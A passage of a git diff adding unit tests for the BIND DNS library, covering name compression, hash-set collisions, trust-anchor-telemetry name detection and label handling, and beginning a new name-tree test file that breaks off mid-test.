+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test7: on, owner */
+	permitted = true;
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, compressed, sizeof(compressed),
+		      plain, sizeof(plain), &cctx, dctx, false);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test8: off, disabled, owner */
+	permitted = false;
+	dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain,
+		      sizeof(plain), &cctx, dctx, false);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test9: on, disabled, owner */
+	permitted = true;
+	dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, &name2, &name3, disabled_owner,
+		      sizeof(disabled_owner), plain, sizeof(plain), &cctx, dctx,
+		      false);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+
+	/* Test10: on, owner */
+	permitted = true;
+	dns_compress_init(&cctx, mctx, 0);
+	dns_compress_setpermitted(&cctx, permitted);
+	dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted);
+
+	compress_test(&name1, dns_rootname, &name4, root_plain,
+		      sizeof(root_plain), root_plain, sizeof(root_plain), &cctx,
+		      dctx, false);
+
+	dns_compress_rollback(&cctx, 0);
+	dns_compress_invalidate(&cctx);
+}
+
+#define NAME_LO 25
+#define NAME_HI 250000
+
+/*
+ * test compression context hash set collisions and rollbacks
+ */
+ISC_RUN_TEST_IMPL(collision) {
+	isc_result_t result;
+	isc_region_t r;
+	dns_compress_t cctx;
+	isc_buffer_t message;
+	uint8_t msgbuf[65536];
+	dns_name_t name;
+	char namebuf[256];
+	uint8_t offsets[128];
+
+	dns_compress_init(&cctx, mctx, DNS_COMPRESS_LARGE);
+	isc_buffer_init(&message, msgbuf, sizeof(msgbuf));
+	dns_name_init(&name, offsets);
+
+	/*
+	 * compression offsets are not allowed to be zero so our
+	 * names need to start after a little fake header
+	 */
+	isc_buffer_putuint16(&message, 0xEAD);
+
+	static const char zone[] = "test";
+	const int zonelen = sizeof(zone) - 1;
+	unsigned int zone_coff = 0;
+
+	for (int i = NAME_LO; i < NAME_HI; i++) {
+		unsigned int prefix_len, suffix_coff;
+		unsigned int coff = isc_buffer_usedlength(&message);
+
+		int len = snprintf(namebuf, sizeof(namebuf), ".%d%c%s", i,
+				   zonelen, zone);
+		namebuf[0] = len - zonelen - 2;
+		r = (isc_region_t){ .base = (uint8_t *)namebuf,
+				    .length = len + 1 };
+		dns_name_fromregion(&name, &r);
+
+		/* the name we are about to add must partially match */
+		prefix_len = name.length;
+		suffix_coff = 0;
+		dns_compress_name(&cctx, &message, &name, &prefix_len,
+				  &suffix_coff);
+		if (i == NAME_LO) {
+			assert_int_equal(prefix_len, name.length);
+			assert_int_equal(suffix_coff, 0);
+			zone_coff = 2 + len - zonelen - 1;
+		} else {
+			assert_int_equal(prefix_len, len - zonelen - 1);
+			assert_int_equal(suffix_coff, zone_coff);
+		}
+		dns_compress_rollback(&cctx, coff);
+
+		result = dns_name_towire(&name, &cctx, &message, NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		/* we must be able to find the name we just added */
+		prefix_len = name.length;
+		suffix_coff = 0;
+		dns_compress_name(&cctx, &message, &name, &prefix_len,
+				  &suffix_coff);
+		assert_int_equal(prefix_len, 0);
+		assert_int_equal(suffix_coff, coff);
+
+		/* don't let the hash set get too full */
+		if (cctx.count > cctx.mask * 3 / 5) {
+			dns_compress_rollback(&cctx, zone_coff + zonelen + 2);
+			isc_buffer_clear(&message);
+			isc_buffer_add(&message, zone_coff + zonelen + 2);
+		}
+	}
+
+	dns_compress_invalidate(&cctx);
+}
+
+/* is trust-anchor-telemetry test */
+ISC_RUN_TEST_IMPL(istat) {
+	dns_fixedname_t fixed;
+	dns_name_t *name;
+	isc_result_t result;
+	size_t i;
+	struct {
+		const char *name;
+		bool istat;
+	} data[] = { { ".", false },
+		     { "_ta-", false },
+		     { "_ta-1234", true },
+		     { "_TA-1234", true },
+		     { "+TA-1234", false },
+		     { "_fa-1234", false },
+		     { "_td-1234", false },
+		     { "_ta_1234", false },
+		     { "_ta-g234", false },
+		     { "_ta-1h34", false },
+		     { "_ta-12i4", false },
+		     { "_ta-123j", false },
+		     { "_ta-1234-abcf", true },
+		     { "_ta-1234-abcf-ED89", true },
+		     { "_ta-12345-abcf-ED89", false },
+		     { "_ta-.example", false },
+		     { "_ta-1234.example", true },
+		     { "_ta-1234-abcf.example", true },
+		     { "_ta-1234-abcf-ED89.example", true },
+		     { "_ta-12345-abcf-ED89.example", false },
+		     { "_ta-1234-abcfe-ED89.example", false },
+		     { "_ta-1234-abcf-EcD89.example", false } };
+
+	UNUSED(state);
+
+	name = dns_fixedname_initname(&fixed);
+
+	for (i = 0; i < (sizeof(data) / sizeof(data[0])); i++) {
+		result = dns_name_fromstring(name, data[i].name, dns_rootname,
+					     0, NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		assert_int_equal(dns_name_istat(name), data[i].istat);
+	}
+}
+
+static bool
+name_attr_zero(struct dns_name_attrs attributes) {
+	return (!(attributes.absolute | attributes.readonly |
+		  attributes.dynamic | attributes.dynoffsets |
+		  attributes.nocompress | attributes.cache | attributes.answer |
+		  attributes.ncache | attributes.chaining | attributes.chase |
+		  attributes.wildcard | attributes.prerequisite |
+		  attributes.update | attributes.hasupdaterec));
+}
+
+/* dns_name_init */
+ISC_RUN_TEST_IMPL(init) {
+	dns_name_t name;
+	unsigned char offsets[1];
+
+	UNUSED(state);
+
+	dns_name_init(&name, offsets);
+
+	assert_null(name.ndata);
+	assert_int_equal(name.length, 0);
+	assert_int_equal(name.labels, 0);
+	assert_ptr_equal(name.offsets, offsets);
+	assert_null(name.buffer);
+	assert_true(name_attr_zero(name.attributes));
+}
+
+/* dns_name_invalidate */
+ISC_RUN_TEST_IMPL(invalidate) {
+	dns_name_t name;
+	unsigned char offsets[1];
+
+	UNUSED(state);
+
+	dns_name_init(&name, offsets);
+	dns_name_invalidate(&name);
+
+	assert_null(name.ndata);
+	assert_int_equal(name.length, 0);
+	assert_int_equal(name.labels, 0);
+	assert_null(name.offsets);
+	assert_null(name.buffer);
+	assert_true(name_attr_zero(name.attributes));
+}
+
+/* dns_name_setbuffer/hasbuffer */
+ISC_RUN_TEST_IMPL(buffer) {
+	dns_name_t name;
+	unsigned char buf[BUFSIZ];
+	isc_buffer_t b;
+
+	UNUSED(state);
+
+	isc_buffer_init(&b, buf, BUFSIZ);
+	dns_name_init(&name, NULL);
+	dns_name_setbuffer(&name, &b);
+	assert_ptr_equal(name.buffer, &b);
+	assert_true(dns_name_hasbuffer(&name));
+}
+
+/* dns_name_isabsolute */
+ISC_RUN_TEST_IMPL(isabsolute) {
+	struct {
+		const char *namestr;
+		bool expect;
+	} testcases[] = { { "x", false },
+			  { "a.b.c.d.", true },
+			  { "x.z", false } };
+	unsigned int i;
+
+	UNUSED(state);
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		isc_result_t result;
+		dns_name_t name;
+		unsigned char data[BUFSIZ];
+		isc_buffer_t b, nb;
+		size_t len;
+
+		len = strlen(testcases[i].namestr);
+		isc_buffer_constinit(&b, testcases[i].namestr, len);
+		isc_buffer_add(&b, len);
+
+		dns_name_init(&name, NULL);
+		isc_buffer_init(&nb, data, BUFSIZ);
+		dns_name_setbuffer(&name, &nb);
+		result = dns_name_fromtext(&name, &b, NULL, 0, NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		assert_int_equal(dns_name_isabsolute(&name),
+				 testcases[i].expect);
+	}
+}
+
+/* dns_name_hash */
+ISC_RUN_TEST_IMPL(hash) {
+	struct {
+		const char *name1;
+		const char *name2;
+		bool expect;
+		bool expecti;
+	} testcases[] = {
+		{ "a.b.c.d", "A.B.C.D", true, false },
+		{ "a.b.c.d.", "A.B.C.D.", true, false },
+		{ "a.b.c.d", "a.b.c.d", true, true },
+		{ "A.B.C.D.", "A.B.C.D.", true, false },
+		{ "x.y.z.w", "a.b.c.d", false, false },
+		{ "x.y.z.w.", "a.b.c.d.", false, false },
+	};
+	unsigned int i;
+
+	UNUSED(state);
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		isc_result_t result;
+		dns_fixedname_t f1, f2;
+		dns_name_t *n1, *n2;
+		unsigned int h1, h2;
+
+		n1 = dns_fixedname_initname(&f1);
+		n2 = dns_fixedname_initname(&f2);
+
+		result = dns_name_fromstring(n1, testcases[i].name1, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		result = dns_name_fromstring(n2, testcases[i].name2, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		/* Check case-insensitive hashing first */
+		h1 = dns_name_hash(n1);
+		h2 = dns_name_hash(n2);
+
+		if (verbose) {
+			print_message("# %s hashes to %u, "
+				      "%s to %u, case insensitive\n",
+				      testcases[i].name1, h1,
+				      testcases[i].name2, h2);
+		}
+
+		assert_int_equal((h1 == h2), testcases[i].expect);
+
+		/* Now case-sensitive */
+		h1 = dns_name_hash(n1);
+		h2 = dns_name_hash(n2);
+
+		if (verbose) {
+			print_message("# %s hashes to %u, "
+				      "%s to %u, case sensitive\n",
+				      testcases[i].name1, h1,
+				      testcases[i].name2, h2);
+		}
+
+		assert_int_equal((h1 == h2), testcases[i].expect);
+	}
+}
+
+/* dns_name_issubdomain */
+ISC_RUN_TEST_IMPL(issubdomain) {
+	struct {
+		const char *name1;
+		const char *name2;
+		bool expect;
+	} testcases[] = {
+		{ "c.d", "a.b.c.d", false }, { "c.d.", "a.b.c.d.", false },
+		{ "b.c.d", "c.d", true },    { "a.b.c.d.", "c.d.", true },
+		{ "a.b.c", "a.b.c", true },  { "a.b.c.", "a.b.c.", true },
+		{ "x.y.z", "a.b.c", false }
+	};
+	unsigned int i;
+
+	UNUSED(state);
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		isc_result_t result;
+		dns_fixedname_t f1, f2;
+		dns_name_t *n1, *n2;
+
+		n1 = dns_fixedname_initname(&f1);
+		n2 = dns_fixedname_initname(&f2);
+
+		result = dns_name_fromstring(n1, testcases[i].name1, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		result = dns_name_fromstring(n2, testcases[i].name2, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		if (verbose) {
+			print_message("# check: %s %s a subdomain of %s\n",
+				      testcases[i].name1,
+				      testcases[i].expect ? "is" : "is not",
+				      testcases[i].name2);
+		}
+
+		assert_int_equal(dns_name_issubdomain(n1, n2),
+				 testcases[i].expect);
+	}
+}
+
+/* dns_name_countlabels */
+ISC_RUN_TEST_IMPL(countlabels) {
+	struct {
+		const char *namestr;
+		unsigned int expect;
+	} testcases[] = {
+		{ "c.d", 2 },
+		{ "c.d.", 3 },
+		{ "a.b.c.d.", 5 },
+		{ "a.b.c.d", 4 },
+		{ "a.b.c", 3 },
+		{ ".", 1 },
+		{ "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		  "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		  "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		  "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		  "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		  "a.b.",
+		  128 },
+	};
+	unsigned int i;
+
+	UNUSED(state);
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		isc_result_t result;
+		dns_fixedname_t fname;
+		dns_name_t *name;
+
+		name = dns_fixedname_initname(&fname);
+
+		result = dns_name_fromstring(name, testcases[i].namestr, NULL,
+					     0, NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		if (verbose) {
+			print_message("# %s: expect %u labels\n",
+				      testcases[i].namestr,
+				      testcases[i].expect);
+		}
+
+		assert_int_equal(dns_name_countlabels(name),
+				 testcases[i].expect);
+	}
+}
+
+/* dns_name_getlabel */
+ISC_RUN_TEST_IMPL(getlabel) {
+	struct {
+		const char *name1;
+		unsigned int pos1;
+		const char *name2;
+		unsigned int pos2;
+	} testcases[] = {
+		{ "c.d", 1, "a.b.c.d", 3 },
+		{ "a.b.c.d", 3, "c.d", 1 },
+		{ "a.b.c.", 3, "A.B.C.", 3 },
+	};
+	unsigned int i;
+
+	UNUSED(state);
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		isc_result_t result;
+		dns_fixedname_t f1, f2;
+		dns_name_t *n1, *n2;
+		dns_label_t l1, l2;
+		unsigned int j;
+
+		n1 = dns_fixedname_initname(&f1);
+		n2 = dns_fixedname_initname(&f2);
+
+		result = dns_name_fromstring(n1, testcases[i].name1, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		result = dns_name_fromstring(n2, testcases[i].name2, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		dns_name_getlabel(n1, testcases[i].pos1, &l1);
+		dns_name_getlabel(n2, testcases[i].pos2, &l2);
+		assert_int_equal(l1.length, l2.length);
+
+		for (j = 0; j < l1.length; j++) {
+			assert_int_equal(l1.base[j], l2.base[j]);
+		}
+	}
+}
+
+/* dns_name_getlabelsequence */
+ISC_RUN_TEST_IMPL(getlabelsequence) {
+	struct {
+		const char *name1;
+		unsigned int pos1;
+		const char *name2;
+		unsigned int pos2;
+		unsigned int range;
+	} testcases[] = {
+		{ "c.d", 1, "a.b.c.d", 3, 1 },
+		{ "a.b.c.d.e", 2, "c.d", 0, 2 },
+		{ "a.b.c", 0, "a.b.c", 0, 3 },
+	};
+	unsigned int i;
+
+	UNUSED(state);
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		isc_result_t result;
+		dns_name_t t1, t2;
+		dns_fixedname_t f1, f2;
+		dns_name_t *n1, *n2;
+
+		/* target names */
+		dns_name_init(&t1, NULL);
+		dns_name_init(&t2, NULL);
+
+		/* source names */
+		n1 = dns_fixedname_initname(&f1);
+		n2 = dns_fixedname_initname(&f2);
+
+		result = dns_name_fromstring(n1, testcases[i].name1, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		result = dns_name_fromstring(n2, testcases[i].name2, NULL, 0,
+					     NULL);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		dns_name_getlabelsequence(n1, testcases[i].pos1,
+					  testcases[i].range, &t1);
+		dns_name_getlabelsequence(n2, testcases[i].pos2,
+					  testcases[i].range, &t2);
+
+		assert_true(dns_name_equal(&t1, &t2));
+	}
+}
+
+ISC_RUN_TEST_IMPL(maxlabels) {
+	isc_result_t result;
+	dns_fixedname_t fixed;
+	dns_name_t *name = NULL;
+
+	const char one_too_many[] =
+		"a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		"a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		"a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		"a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		"a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y."
+		"a.b.c.";
+
+	name = dns_fixedname_initname(&fixed);
+	result = dns_name_fromstring(name, one_too_many, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_NOSPACE);
+
+	name = dns_fixedname_initname(&fixed);
+	result = dns_name_fromstring(name, one_too_many + 2, dns_rootname, 0,
+				     NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_true(dns_name_isvalid(name));
+	assert_int_equal(dns_name_countlabels(name), DNS_NAME_MAXLABELS);
+}
+
+#ifdef DNS_BENCHMARK_TESTS
+
+/*
+ * XXXMUKS: Don't delete this code. It is useful in benchmarking the
+ * name parser, but we don't require it as part of the unit test runs.
+ */
+
+/* Benchmark dns_name_fromwire() implementation */
+
+ISC_RUN_TEST_IMPL(fromwire_thread(void *arg) {
+	unsigned int maxval = 32000000;
+	uint8_t data[] = { 3,	'w', 'w', 'w', 7,   'e', 'x',
+			   'a', 'm', 'p', 'l', 'e', 7,	 'i',
+			   'n', 'v', 'a', 'l', 'i', 'd', 0 };
+	unsigned char output_data[DNS_NAME_MAXWIRE];
+	isc_buffer_t source, target;
+	unsigned int i;
+	dns_decompress_t dctx;
+
+	UNUSED(arg);
+
+	dns_decompress_init(&dctx, DNS_DECOMPRESS_STRICT);
+	dns_decompress_setmethods(&dctx, DNS_COMPRESS_NONE);
+
+	isc_buffer_init(&source, data, sizeof(data));
+	isc_buffer_add(&source, sizeof(data));
+	isc_buffer_init(&target, output_data, sizeof(output_data));
+
+	/* Parse 32 million names in each thread */
+	for (i = 0; i < maxval; i++) {
+		dns_name_t name;
+
+		isc_buffer_clear(&source);
+		isc_buffer_clear(&target);
+		isc_buffer_add(&source, sizeof(data));
+		isc_buffer_setactive(&source, sizeof(data));
+
+		dns_name_init(&name, NULL);
+		(void)dns_name_fromwire(&name, &source, &dctx, &target);
+	}
+
+	return (NULL);
+}
+
+ISC_RUN_TEST_IMPL(benchmark) {
+	isc_result_t result;
+	unsigned int i;
+	isc_time_t ts1, ts2;
+	double t;
+	unsigned int nthreads;
+	isc_thread_t threads[32];
+
+	UNUSED(state);
+
+	debug_mem_record = false;
+
+	result = isc_time_now(&ts1);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	nthreads = ISC_MIN(isc_os_ncpus(), 32);
+	nthreads = ISC_MAX(nthreads, 1);
+	for (i = 0; i < nthreads; i++) {
+		isc_thread_create(fromwire_thread, NULL, &threads[i]);
+	}
+
+	for (i = 0; i < nthreads; i++) {
+		isc_thread_join(threads[i], NULL);
+	}
+
+	result = isc_time_now(&ts2);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("%u dns_name_fromwire() calls, %f seconds, %f calls/second\n",
+	       nthreads * 32000000, t / 1000000.0,
+	       (nthreads * 32000000) / (t / 1000000.0));
+}
+
+#endif /* DNS_BENCHMARK_TESTS */
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(fullcompare)
+ISC_TEST_ENTRY(compression)
+ISC_TEST_ENTRY(collision)
+ISC_TEST_ENTRY(istat)
+ISC_TEST_ENTRY(init)
+ISC_TEST_ENTRY(invalidate)
+ISC_TEST_ENTRY(buffer)
+ISC_TEST_ENTRY(isabsolute)
+ISC_TEST_ENTRY(hash)
+ISC_TEST_ENTRY(issubdomain)
+ISC_TEST_ENTRY(countlabels)
+ISC_TEST_ENTRY(getlabel)
+ISC_TEST_ENTRY(getlabelsequence)
+ISC_TEST_ENTRY(maxlabels)
+#ifdef DNS_BENCHMARK_TESTS
+ISC_TEST_ENTRY(benchmark)
+#endif /* DNS_BENCHMARK_TESTS */
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/nametree_test.c b/tests/dns/nametree_test.c
new file mode 100644
index 0000000000..147f37382b
--- /dev/null
+++ b/tests/dns/nametree_test.c
@@ -0,0 +1,330 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/base64.h>
+#include <isc/buffer.h>
+#include <isc/md.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/name.h>
+#include <dns/nametree.h>
+
+#include <dst/dst.h>
+
+#include <tests/dns.h>
+
+dns_nametree_t *booltree = NULL;
+dns_nametree_t *bitstree = NULL;
+dns_nametree_t *counttree = NULL;
+
+/*
+ * Test utilities.  In general, these assume input parameters are valid
+ * (checking with assert_int_equal, thus aborting if not) and unlikely run time
+ * errors (such as memory allocation failure) won't happen.  This helps keep
+ * the test code concise.
+ */
+
+/* Common setup: create trees of each type with a few keys */
+static int
+setup(void **state ISC_ATTR_UNUSED) {
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	dns_nametree_create(mctx, DNS_NAMETREE_BOOL, "bool test", &booltree);
+	dns_nametree_create(mctx, DNS_NAMETREE_BITS, "bits test", &bitstree);
+	dns_nametree_create(mctx, DNS_NAMETREE_COUNT, "count test", &counttree);
+
+	/* Add a positive boolean node */
+	dns_test_namefromstring("example.com.", &fn);
+	assert_int_equal(dns_nametree_add(booltree, name, true), ISC_R_SUCCESS);
+
+	/* Add assorted bits to a bitfield node */
+	assert_int_equal(dns_nametree_add(bitstree, name, 1), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(bitstree, name, 9), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(bitstree, name, 53), ISC_R_SUCCESS);
+
+	/* Add negative boolean nodes with and without parents */
+	dns_test_namefromstring("negative.example.com.", &fn);
+	assert_int_equal(dns_nametree_add(booltree, name, false),
+			 ISC_R_SUCCESS);
+	dns_test_namefromstring("negative.example.org.", &fn);
+	assert_int_equal(dns_nametree_add(booltree, name, false),
+			 ISC_R_SUCCESS);
+
+	/* Add a bitfield node under a parent */
+	dns_test_namefromstring("sub.example.com.", &fn);
+	assert_int_equal(dns_nametree_add(bitstree, name, 2), ISC_R_SUCCESS);
+
+	return (0);
+}
+
+static int
+teardown(void **state ISC_ATTR_UNUSED) {
+	dns_nametree_detach(&booltree);
+	dns_nametree_detach(&bitstree);
+	dns_nametree_detach(&counttree);
+	rcu_barrier();
+	return (0);
+}
+
+ISC_RUN_TEST_IMPL(add_bool) {
+	dns_ntnode_t *node = NULL;
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	/*
+	 * Getting the node for example.com should succeed.
+	 */
+	dns_test_namefromstring("example.com.", &fn);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+
+	/*
+	 * Try to add the same name.  This should fail.
+	 */
+	assert_int_equal(dns_nametree_add(booltree, name, false), ISC_R_EXISTS);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+
+	/*
+	 * Try to add a new name.
+	 */
+	dns_test_namefromstring("newname.com.", &fn);
+	assert_int_equal(dns_nametree_add(booltree, name, true), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+}
+
+ISC_RUN_TEST_IMPL(add_bits) {
+	dns_ntnode_t *node = NULL;
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	/*
+	 * Getting the node for example.com should succeed.
+	 */
+	dns_test_namefromstring("example.com.", &fn);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+
+	/*
+	 * Try to add the same name. This should succeed.
+	 */
+	assert_int_equal(dns_nametree_add(bitstree, name, 1), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(bitstree, name, 2), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(bitstree, name, 3), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+
+	/*
+	 * Try to add a new name.
+	 */
+	dns_test_namefromstring("newname.com.", &fn);
+	assert_int_equal(dns_nametree_add(booltree, name, true), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+}
+
+ISC_RUN_TEST_IMPL(add_count) {
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	/* add a counter node five times */
+	dns_test_namefromstring("example.com.", &fn);
+	assert_int_equal(dns_nametree_add(counttree, name, 0), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(counttree, name, 0), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(counttree, name, 0), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(counttree, name, 0), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_add(counttree, name, 0), ISC_R_SUCCESS);
+
+	/* delete it five times, checking coverage each time */
+	assert_true(dns_nametree_covered(counttree, name, NULL, 0));
+	assert_int_equal(dns_nametree_delete(counttree, name), ISC_R_SUCCESS);
+
+	assert_true(dns_nametree_covered(counttree, name, NULL, 0));
+	assert_int_equal(dns_nametree_delete(counttree, name), ISC_R_SUCCESS);
+
+	assert_true(dns_nametree_covered(counttree, name, NULL, 0));
+	assert_int_equal(dns_nametree_delete(counttree, name), ISC_R_SUCCESS);
+
+	assert_true(dns_nametree_covered(counttree, name, NULL, 0));
+	assert_int_equal(dns_nametree_delete(counttree, name), ISC_R_SUCCESS);
+
+	assert_true(dns_nametree_covered(counttree, name, NULL, 0));
+	assert_int_equal(dns_nametree_delete(counttree, name), ISC_R_SUCCESS);
+
+	assert_false(dns_nametree_covered(counttree, name, NULL, 0));
+	assert_int_equal(dns_nametree_delete(counttree, name), ISC_R_NOTFOUND);
+}
+
+ISC_RUN_TEST_IMPL(covered_bool) {
+	dns_fixedname_t fn, fn2;
+	dns_name_t *name = dns_fixedname_initname(&fn);
+	dns_name_t *found = dns_fixedname_initname(&fn2);
+	char buf[DNS_NAME_FORMATSIZE];
+	const char *yesnames[] = { "example.com.", "sub.example.com.", NULL };
+	const char *nonames[] = { "whatever.com.", "negative.example.com.",
+				  "example.org.", "negative.example.org.",
+				  NULL };
+
+	for (const char **n = yesnames; *n != NULL; n++) {
+		dns_test_namefromstring(*n, &fn);
+		assert_true(dns_nametree_covered(booltree, name, NULL, 0));
+	}
+	for (const char **n = nonames; *n != NULL; n++) {
+		dns_test_namefromstring(*n, &fn);
+		assert_false(dns_nametree_covered(booltree, name, NULL, 0));
+	}
+
+	/* Check that the found name is as expected */
+	dns_test_namefromstring("other.example.com.", &fn);
+	assert_true(dns_nametree_covered(booltree, name, found, 0));
+	dns_name_format(found, buf, sizeof(buf));
+	assert_string_equal(buf, "example.com");
+}
+
+ISC_RUN_TEST_IMPL(covered_bits) {
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	/* check existing bit values */
+	dns_test_namefromstring("example.com.", &fn);
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 0));
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 1));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 2));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 3));
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 9));
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 53));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 288));
+
+	/* add a small bit value, test again */
+	assert_int_equal(dns_nametree_add(bitstree, name, 3), ISC_R_SUCCESS);
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 3));
+
+	/* add a large bit value, test again */
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 615));
+	assert_int_equal(dns_nametree_add(bitstree, name, 615), ISC_R_SUCCESS);
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 615));
+	assert_int_equal(dns_nametree_add(bitstree, name, 999), ISC_R_SUCCESS);
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 999));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 998));
+
+	/* check existing bit values for subdomain */
+	dns_test_namefromstring("sub.example.com.", &fn);
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 0));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 1));
+	assert_true(dns_nametree_covered(bitstree, name, NULL, 2));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 3));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 9));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 53));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 288));
+
+	/* check nonexistent subdomain is all false */
+	dns_test_namefromstring("other.example.com", &fn);
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 0));
